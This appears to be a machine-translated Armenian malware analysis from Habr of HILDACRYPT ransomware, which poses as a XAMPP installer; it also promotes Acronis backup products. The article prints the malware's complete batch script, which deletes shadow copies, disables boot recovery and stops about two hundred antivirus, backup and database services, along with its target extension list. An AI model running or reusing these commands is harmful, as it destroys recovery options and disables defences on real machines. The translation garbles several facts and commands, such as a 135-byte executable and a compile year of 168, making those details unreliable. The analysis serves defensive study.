HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Հե՜յ Հաբր։ Եվ կրկին, մենք խոսում ենք Ransomware կատեգորիայի չարամիտ ծրագրերի վերջին տարբերակների մասին: HILDACRYPT-ը Հիլդա ընտանիքի նոր փրկագին է, որը հայտնաբերվել է 2019 թվականի օգոստոսին՝ ի պատիվ Netflix մուլտֆիլմի, որն օգտագործվել է ծրագրակազմը տարածելու համար: Այսօր մենք ծանոթանում ենք այս թարմացված փրկագին վիրուսի տեխնիկական հատկանիշներին։

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Hilda ransomware-ի առաջին տարբերակում հղումը տեղադրված է Youtube-ում կցասայլ անիմացիոն սերիալը պարունակվում էր փրկագնի մեջ։ HILDACRYPT-ը ներկայացվում է որպես օրինական XAMPP տեղադրող, հեշտ տեղադրվող Apache բաշխում, որը ներառում է MariaDB, PHP և Perl: Միևնույն ժամանակ, cryptolocker-ն ունի այլ ֆայլի անուն՝ xamp: Բացի այդ, ransomware ֆայլը չունի էլեկտրոնային ստորագրություն։

Ստատիկ վերլուծություն

Փրկագին պարունակվում է PE32 .NET ֆայլում, որը գրված է MS Windows-ի տակ: Դրա չափը 135 բայթ է։ Ե՛վ հիմնական ծրագրի կոդը, և՛ պաշտպանիչ ծրագրի կոդը գրված են C#-ով։ Համաձայն կազմման ժամանակի կնիքի՝ երկուականը ստեղծվել է 168 թվականի սեպտեմբերի 14-ին։

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Ըստ Detect It Easy-ի, փրկագին արխիվացվել է Confuser-ի և ConfuserEx-ի միջոցով, սակայն այս խաբեբաները նույնն են, ինչ նախկինում, միայն ConfuserEx-ն է Confuser-ի իրավահաջորդը, ուստի դրանց կոդի ստորագրությունները նման են:

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

HILDACRYPT-ն իսկապես փաթեթավորված է ConfuserEx-ով:

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Հարձակման վեկտոր

Ամենայն հավանականությամբ, փրկագինը հայտնաբերվել է վեբ ծրագրավորման կայքերից մեկում՝ դիմակավորված որպես օրինական XAMPP ծրագիր:

Ինֆեկցիայի ամբողջ շղթան կարելի է տեսնել app.any.run sandbox.

Բուսակացիա

Ransomware տողերը պահվում են կոդավորված ձևով: Աշխատելիս HILDACRYPT-ը վերծանում է դրանք՝ օգտագործելով Base64 և AES-256-CBC:

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Տեղակայում

Առաջին հերթին, փրկագինը ստեղծում է թղթապանակ %AppDataRoaming%ում՝ պատահականորեն ստեղծված GUID (Գլոբալ եզակի նույնացուցիչ) պարամետրով: Այս վայրում ավելացնելով .bat ֆայլ՝ փրկագին վիրուսը գործարկում է այն՝ օգտագործելով cmd.exe:

cmd.exe /c JKfgkgj3hjgfhjka.bat & ելք

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներինHILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին
Այնուհետև այն սկսում է խմբաքանակի սկրիպտի կատարումը՝ համակարգի գործառույթներն ու ծառայություններն անջատելու համար:

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Սցենարը պարունակում է հրամանների երկար ցուցակ, որոնք ոչնչացնում են ստվերային պատճենները, անջատում են SQL Server-ը, կրկնօրինակումներն ու հակավիրուսային լուծումները:

Օրինակ, այն անհաջող կերպով փորձում է դադարեցնել Acronis Backup-ի պահեստային ծառայությունները: Բացի այդ, այն հարձակվում է հետևյալ վաճառողների պահեստային համակարգերի և հակավիրուսային լուծումների վրա՝ Veeam, Sophos, Kaspersky, McAfee և այլն:

@echo off
:: Not really a fan of ponies, cartoon girls are better, don't you think?
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=401MB
vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=401MB
vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
bcdedit /set {default} recoveryenabled No
bcdedit /set {default} bootstatuspolicy ignoreallfailures
vssadmin Delete Shadows /all /quiet
net stop SQLAgent$SYSTEM_BGC /y
net stop “Sophos Device Control Service” /y
net stop macmnsvc /y
net stop SQLAgent$ECWDB2 /y
net stop “Zoolz 2 Service” /y
net stop McTaskManager /y
net stop “Sophos AutoUpdate Service” /y
net stop “Sophos System Protection Service” /y
net stop EraserSvc11710 /y
net stop PDVFSService /y
net stop SQLAgent$PROFXENGAGEMENT /y
net stop SAVService /y
net stop MSSQLFDLauncher$TPSAMA /y
net stop EPSecurityService /y
net stop SQLAgent$SOPHOS /y
net stop “Symantec System Recovery” /y
net stop Antivirus /y
net stop SstpSvc /y
net stop MSOLAP$SQL_2008 /y
net stop TrueKeyServiceHelper /y
net stop sacsvr /y
net stop VeeamNFSSvc /y
net stop FA_Scheduler /y
net stop SAVAdminService /y
net stop EPUpdateService /y
net stop VeeamTransportSvc /y
net stop “Sophos Health Service” /y
net stop bedbg /y
net stop MSSQLSERVER /y
net stop KAVFS /y
net stop Smcinst /y
net stop MSSQLServerADHelper100 /y
net stop TmCCSF /y
net stop wbengine /y
net stop SQLWriter /y
net stop MSSQLFDLauncher$TPS /y
net stop SmcService /y
net stop ReportServer$TPSAMA /y
net stop swi_update /y
net stop AcrSch2Svc /y
net stop MSSQL$SYSTEM_BGC /y
net stop VeeamBrokerSvc /y
net stop MSSQLFDLauncher$PROFXENGAGEMENT /y
net stop VeeamDeploymentService /y
net stop SQLAgent$TPS /y
net stop DCAgent /y
net stop “Sophos Message Router” /y
net stop MSSQLFDLauncher$SBSMONITORING /y
net stop wbengine /y
net stop MySQL80 /y
net stop MSOLAP$SYSTEM_BGC /y
net stop ReportServer$TPS /y
net stop MSSQL$ECWDB2 /y
net stop SntpService /y
net stop SQLSERVERAGENT /y
net stop BackupExecManagementService /y
net stop SMTPSvc /y
net stop mfefire /y
net stop BackupExecRPCService /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop klnagent /y
net stop MSExchangeSA /y
net stop MSSQLServerADHelper /y
net stop SQLTELEMETRY /y
net stop “Sophos Clean Service” /y
net stop swi_update_64 /y
net stop “Sophos Web Control Service” /y
net stop EhttpSrv /y
net stop POP3Svc /y
net stop MSOLAP$TPSAMA /y
net stop McAfeeEngineService /y
net stop “Veeam Backup Catalog Data Service” /
net stop MSSQL$SBSMONITORING /y
net stop ReportServer$SYSTEM_BGC /y
net stop AcronisAgent /y
net stop KAVFSGT /y
net stop BackupExecDeviceMediaService /y
net stop MySQL57 /y
net stop McAfeeFrameworkMcAfeeFramework /y
net stop TrueKey /y
net stop VeeamMountSvc /y
net stop MsDtsServer110 /y
net stop SQLAgent$BKUPEXEC /y
net stop UI0Detect /y
net stop ReportServer /y
net stop SQLTELEMETRY$ECWDB2 /y
net stop MSSQLFDLauncher$SYSTEM_BGC /y
net stop MSSQL$BKUPEXEC /y
net stop SQLAgent$PRACTTICEBGC /y
net stop MSExchangeSRS /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop McShield /y
net stop SepMasterService /y
net stop “Sophos MCS Client” /y
net stop VeeamCatalogSvc /y
net stop SQLAgent$SHAREPOINT /y
net stop NetMsmqActivator /y
net stop kavfsslp /y
net stop tmlisten /y
net stop ShMonitor /y
net stop MsDtsServer /y
net stop SQLAgent$SQL_2008 /y
net stop SDRSVC /y
net stop IISAdmin /y
net stop SQLAgent$PRACTTICEMGT /y
net stop BackupExecJobEngine /y
net stop SQLAgent$VEEAMSQL2008R2 /y
net stop BackupExecAgentBrowser /y
net stop VeeamHvIntegrationSvc /y
net stop masvc /y
net stop W3Svc /y
net stop “SQLsafe Backup Service” /y
net stop SQLAgent$CXDB /y
net stop SQLBrowser /y
net stop MSSQLFDLauncher$SQL_2008 /y
net stop VeeamBackupSvc /y
net stop “Sophos Safestore Service” /y
net stop svcGenericHost /y
net stop ntrtscan /y
net stop SQLAgent$VEEAMSQL2012 /y
net stop MSExchangeMGMT /y
net stop SamSs /y
net stop MSExchangeES /y
net stop MBAMService /y
net stop EsgShKernel /y
net stop ESHASRV /y
net stop MSSQL$TPSAMA /y
net stop SQLAgent$CITRIX_METAFRAME /y
net stop VeeamCloudSvc /y
net stop “Sophos File Scanner Service” /y
net stop “Sophos Agent” /y
net stop MBEndpointAgent /y
net stop swi_service /y
net stop MSSQL$PRACTICEMGT /y
net stop SQLAgent$TPSAMA /y
net stop McAfeeFramework /y
net stop “Enterprise Client Service” /y
net stop SQLAgent$SBSMONITORING /y
net stop MSSQL$VEEAMSQL2012 /y
net stop swi_filter /y
net stop SQLSafeOLRService /y
net stop BackupExecVSSProvider /y
net stop VeeamEnterpriseManagerSvc /y
net stop SQLAgent$SQLEXPRESS /y
net stop OracleClientCache80 /y
net stop MSSQL$PROFXENGAGEMENT /y
net stop IMAP4Svc /y
net stop ARSM /y
net stop MSExchangeIS /y
net stop AVP /y
net stop MSSQLFDLauncher /y
net stop MSExchangeMTA /y
net stop TrueKeyScheduler /y
net stop MSSQL$SOPHOS /y
net stop “SQL Backups” /y
net stop MSSQL$TPS /y
net stop mfemms /y
net stop MsDtsServer100 /y
net stop MSSQL$SHAREPOINT /y
net stop WRSVC /y
net stop mfevtp /y
net stop msftesql$PROD /y
net stop mozyprobackup /y
net stop MSSQL$SQL_2008 /y
net stop SNAC /y
net stop ReportServer$SQL_2008 /y
net stop BackupExecAgentAccelerator /y
net stop MSSQL$SQLEXPRESS /y
net stop MSSQL$PRACTTICEBGC /y
net stop VeeamRESTSvc /y
net stop sophossps /y
net stop ekrn /y
net stop MMS /y
net stop “Sophos MCS Agent” /y
net stop RESvc /y
net stop “Acronis VSS Provider” /y
net stop MSSQL$VEEAMSQL2008R2 /y
net stop MSSQLFDLauncher$SHAREPOINT /y
net stop “SQLsafe Filter Service” /y
net stop MSSQL$PROD /y
net stop SQLAgent$PROD /y
net stop MSOLAP$TPS /y
net stop VeeamDeploySvc /y
net stop MSSQLServerOLAPService /y
del %0

Այն բանից հետո, երբ վերը նշված ծառայություններն ու գործընթացներն անջատված են, ծպտյալ պահարանը հավաքում է տեղեկատվություն բոլոր գործող գործընթացների մասին՝ օգտագործելով tasklist հրամանը, որպեսզի համոզվի, որ բոլոր պահանջվող ծառայություններն անջատված են:
առաջադրանքների ցուցակ v /fo csv

Այս հրամանը ցուցադրում է գործող գործընթացների մանրամասն ցանկը, որոնց տարրերն առանձնացված են «,» նշանով։
««csrss.exe»,«448»,«services»,«0»,«1�896 ��»,«unknown»,»�/�»,«0:00:03»,»�/�»»

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Այս ստուգումից հետո փրկագինը սկսում է գաղտնագրման գործընթացը:

Կոդավորումը

Ֆայլի գաղտնագրում

HILDACRYPT-ն անցնում է կոշտ սկավառակների բոլոր գտնված բովանդակությամբ, բացառությամբ Recycle.Bin-ի և Reference AssembliesMicrosoft պանակների: Վերջինս պարունակում է կարևոր dll, pdb և այլն ֆայլեր .Net հավելվածների համար, որոնք կարող են ազդել փրկագնի վրա: Գաղտնագրման ենթակա ֆայլեր որոնելու համար օգտագործվում է ընդլայնումների հետևյալ ցանկը.

«.vb:.asmx:.config:.3dm:.3ds:.3fr:.3g2:.3gp:.3pr:.7z:.ab4:.accdb:.accde:.accdr:.accdt:.ach:.acr:.act:.adb:.ads:.agdl:.ai:.ait:.al:.apj:.arw:.asf:.asm:.asp:.aspx:.asx:.avi:.awg:.back:.backup:.backupdb:.bak:.lua:.m:.m4v:.max:.mdb:.mdc:.mdf:.mef:.mfw:.mmw:.moneywell:.mos:.mov:.mp3:.mp4:.mpg:.mpeg:.mrw:.msg:.myd:.nd:.ndd:.nef:.nk2:.nop:.nrw:.ns2:.ns3:.ns4:.nsd:.nsf:.nsg:.nsh:.nwb:.nx2:.nxl:.nyf:.tif:.tlg:.txt:.vob:.wallet:.war:.wav:.wb2:.wmv:.wpd:.wps:.x11:.x3f:.xis:.xla:.xlam:.xlk:.xlm:.xlr:.xls:.xlsb:.xlsm:.xlsx:.xlt:.xltm:.xltx:.xlw:.xml:.ycbcra:.yuv:.zip:.sqlite:.sqlite3:.sqlitedb:.sr2:.srf:.srt:.srw:.st4:.st5:.st6:.st7:.st8:.std:.sti:.stw:.stx:.svg:.swf:.sxc:.sxd:.sxg:.sxi:.sxm:.sxw:.tex:.tga:.thm:.tib:.py:.qba:.qbb:.qbm:.qbr:.qbw:.qbx:.qby:.r3d:.raf:.rar:.rat:.raw:.rdb:.rm:.rtf:.rw2:.rwl:.rwz:.s3db:.sas7bdat:.say:.sd0:.sda:.sdf:.sldm:.sldx:.sql:.pdd:.pdf:.pef:.pem:.pfx:.php:.php5:.phtml:.pl:.plc:.png:.pot:.potm:.potx:.ppam:.pps:.ppsm:.ppsx:.ppt:.pptm:.pptx:.prf:.ps:.psafe3:.psd:.pspimage:.pst:.ptx:.oab:.obj:.odb:.odc:.odf:.odg:.odm:.odp:.ods:.odt:.oil:.orf:.ost:.otg:.oth:.otp:.ots:.ott:.p12:.p7b:.p7c:.pab:.pages:.pas:.pat:.pbl:.pcd:.pct:.pdb:.gray:.grey:.gry:.h:.hbk:.hpp:.htm:.html:.ibank:.ibd:.ibz:.idx:.iif:.iiq:.incpas:.indd:.jar:.java:.jpe:.jpeg:.jpg:.jsp:.kbx:.kc2:.kdbx:.kdc:.key:.kpdx:.doc:.docm:.docx:.dot:.dotm:.dotx:.drf:.drw:.dtd:.dwg:.dxb:.dxf:.dxg:.eml:.eps:.erbsql:.erf:.exf:.fdb:.ffd:.fff:.fh:.fhd:.fla:.flac:.flv:.fmb:.fpx:.fxg:.cpp:.cr2:.craw:.crt:.crw:.cs:.csh:.csl:.csv:.dac:.bank:.bay:.bdb:.bgt:.bik:.bkf:.bkp:.blend:.bpw:.c:.cdf:.cdr:.cdr3:.cdr4:.cdr5:.cdr6:.cdrw:.cdx:.ce1:.ce2:.cer:.cfp:.cgm:.cib:.class:.cls:.cmt:.cpi:.ddoc:.ddrw:.dds:.der:.des:.design:.dgc:.djvu:.dng:.db:.db-journal:.db3:.dcr:.dcs:.ddd:.dbf:.dbx:.dc2:.pbl:.csproj:.sln:.vbproj:.mdb:.md»

Փրկագին օգտագործում է AES-256-CBC ալգորիթմը՝ օգտատերերի ֆայլերը գաղտնագրելու համար: Բանալու չափը 256 բիթ է, իսկ սկզբնավորման վեկտորի (IV) չափը 16 բայթ է:

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Հետևյալ սքրինշոթում բայթ_2 և բայթ_1 արժեքները ստացվել են պատահականորեն՝ օգտագործելով GetBytes():

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Բանալին

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

ВИ

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Կոդավորված ֆայլն ունի HCY ընդլայնում: Սա գաղտնագրված ֆայլի օրինակ է: Վերը նշված բանալին և IV-ը ստեղծվել են այս ֆայլի համար:

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Բանալինների կոդավորումը

Կրիպտոլոկերը պահպանում է ստեղծված AES բանալին գաղտնագրված ֆայլում: Կոդավորված ֆայլի առաջին մասը ունի վերնագիր, որը պարունակում է այնպիսի տվյալներ, ինչպիսիք են HILDACRYPT, KEY, IV, FileLen XML ձևաչափով և ունի հետևյալ տեսքը.

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

AES և IV բանալիների կոդավորումը կատարվում է RSA-2048-ի միջոցով, իսկ կոդավորումը՝ Base64-ի միջոցով: RSA հանրային բանալին պահվում է կրիպտոլոկերի մարմնում XML ձևաչափով ծածկագրված տողերից մեկում:

28guEbzkzciKg3N/ExUq8jGcshuMSCmoFsh/3LoMyWzPrnfHGhrgotuY/cs+eSGABQ+rs1B+MMWOWvqWdVpBxUgzgsgOgcJt7P+r4bWhfccYeKDi7PGRtZuTv+XpmG+m+u/JgerBM1Fi49+0vUMuEw5a1sZ408CvFapojDkMT0P5cJGYLSiVFud8reV7ZtwcCaGf88rt8DAUt2iSZQix0aw8PpnCH5/74WE8dAHKLF3sYmR7yFWAdCJRovzdx8/qfjMtZ41sIIIEyajVKfA18OT72/UBME2gsAM/BGii2hgLXP5ZGKPgQEf7Zpic1fReZcpJonhNZzXztGCSLfa/jQ==AQAB

RSA հանրային բանալին օգտագործվում է AES ֆայլի բանալին գաղտնագրելու համար: RSA հանրային բանալին Base64 կոդավորված է և բաղկացած է մոդուլից և 65537 հանրային ցուցիչից: Ապակոդավորումը պահանջում է հարձակվողի անձնական RSA բանալին:

RSA կոդավորումից հետո AES բանալին կոդավորվում է՝ օգտագործելով Base64-ը, որը պահվում է կոդավորված ֆայլում:

Փրկագնի ծանուցում

Գաղտնագրման վերջում HILDACRYPT-ը գրում է html ֆայլը այն թղթապանակում, որտեղ գաղտնագրել է ֆայլերը: Փրկագին ծանուցումը պարունակում է երկու էլփոստի հասցե, որոնք տուժողը կարող է օգտագործել հարձակվողի հետ կապ հաստատելու համար:

HILDACRYPT. Նոր փրկագին հարվածում է պահեստային համակարգերին և հակավիրուսային լուծումներին

Շորթման ծանուցումը պարունակում է նաև «No loli is safe;)» տողը՝ «No loli is safe;)», հղում անիմե և մանգա կերպարներին՝ փոքրիկ աղջիկների տեսքով, որոնք արգելված են Ճապոնիայում:

Արտադրողականություն

HILDACRYPT՝ փրկագին ծրագրերի նոր ընտանիքը, թողարկել է նոր տարբերակը։ Գաղտնագրման մոդելը թույլ չի տալիս տուժողին վերծանել փրկագինով գաղտնագրված ֆայլերը: Կրիպտոլոկերը օգտագործում է ակտիվ պաշտպանության մեթոդներ՝ պաշտպանական ծառայություններն անջատելու համար՝ կապված պահեստային համակարգերի և հակավիրուսային լուծումների հետ։ HILDACRYPT-ի հեղինակը Netflix-ի Հիլդա անիմացիոն սերիալի երկրպագու է, որի թրեյլերը ներառված էր ծրագրի նախորդ տարբերակի հետգնման նամակում։

Ինչպես միշտ, Acronis Backup и Acronis True Image- ը կարող է պաշտպանել ձեր համակարգիչը HILDACRYPT ransomware-ից, և մատակարարները կարող են պաշտպանել իրենց հաճախորդներին Acronis Backup Cloud. Պաշտպանությունն ապահովվում է նրանով, որ այդ լուծումները ներառում են կիբերանվտանգություն ներառում է ոչ միայն պահեստային, այլ նաև մեր ինտեգրված պաշտպանության համակարգը Acronis Active Protection մեքենայական ուսուցման մոդելների միջոցով ընդլայնված տեխնոլոգիա է, որը հիմնված է վարքագծային էվրիստիկայի վրա, որն ի վիճակի է դիմակայել զրոյական օրվա փրկագնի սպառնալիքներին, ինչպես ոչ մի ուրիշը:

Փոխզիջման ցուցանիշներ

Ֆայլի ընդլայնում HCY!
HILDACRYPTreadMe.html
xamp.exe մեկ «p» և առանց թվային ստորագրության
SHA-256: 7b0dcc7645642c141deb03377b451d3f873724c254797e3578ef8445a38ece8a

Source: www.habr.com

Добавить комментарий